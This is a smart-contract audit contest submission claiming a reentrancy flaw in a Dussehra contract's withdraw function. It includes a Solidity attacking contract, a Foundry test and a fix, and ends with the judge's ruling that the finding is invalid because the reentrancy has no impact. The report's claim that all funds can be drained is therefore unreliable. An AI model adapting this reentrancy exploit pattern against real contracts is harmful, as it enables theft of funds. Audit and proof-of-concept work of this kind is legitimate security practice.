First Flight #17: Dussehra
First Flight #17
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: low
Invalid

Reentrancy attack in `Dussehra::withdraw`, putting all protocol funds at risk of being stolen.

brutalclowney

Summary

Dusserha::withdraw changes the state after executing the call to send the money to the winner. This functionality allows a winner who has been selected to drain the protocol of its funds.

Vulnerability Details

(Proof of Code)
An example of an attacking contract can look like this:

contract AttackWithdraw is IERC721Receiver {
Dussehra dusshera;
uint256 entranceFee;
bool public nftRecieved;
​
constructor(Dussehra _dusshera) {
dusshera = _dusshera;
entranceFee = dusshera.entranceFee();
}
​
function enter() external payable {
dusshera.enterPeopleWhoLikeRam{value: entranceFee}();
nftRecieved = true;
}
​
function attack() external {
dusshera.withdraw();
}
​
function steal() internal {
if(address(dusshera).balance >= entranceFee){
dusshera.withdraw();
}
}
​
receive() external payable {
if (nftRecieved) {
steal();
}
}
​
fallback() external payable {
if (nftRecieved) {
steal();
}
}
​
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
return this.onERC721Received.selector;
}
}

  1. the attacking contract enters the protocol.

  2. the attacker waits for the protocol to select a ram

  3. the attacker is chosen as the ram

  4. the attacker calls attack and sets off the reentrancy attack

add the following test to the Dussehra.t.sol contract aswell as the above attacking contract.

function testWithdrawReentrancy() public participants {
AttackWithdraw attack = new AttackWithdraw(dussehra);
attack.enter{value: 1 ether}();
vm.warp(1728691200 + 1);
vm.startPrank(organiser);
choosingRam.selectRamIfNotSelected();
vm.stopPrank();
vm.startPrank(address(attack));
dussehra.killRavana();
vm.stopPrank();
​
vm.prank(address(attack));
attack.attack();
console.log("Balance of attack contract: ", address(attack).balance);
console.log("Balance of dussehra contract: ", address(dussehra).balance);
}

Impact

An attacker may enter the protocol many times and if selected as the ram will drain all the funds within the Dussehra contract.

Tools Used

Slither,
ChatGpt,
Manual Review,
Foundry,

Recommendations

Update the state of the totalAmountGiven before paying out the winner.

function withdraw() public RamIsSelected OnlyRam RavanKilled nonReentrant {
if (totalAmountGivenToRam == 0) {
revert Dussehra__AlreadyClaimedAmount();
}
uint256 amount = totalAmountGivenToRam;
totalAmountGivenToRam = 0; // Update the state before the transfer
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Failed to send money to Ram");
}
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Invalid - reentrancy in withdraw

The `withdraw` function sends the given amount to Ram. If the attacker calls the `withdraw` function again before the state variable is changed, the function will revert because there are no more funds in the contract. This reentrancy has no impact for the protocol. It is recommended to follow the CEI pattern, but this is informational.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.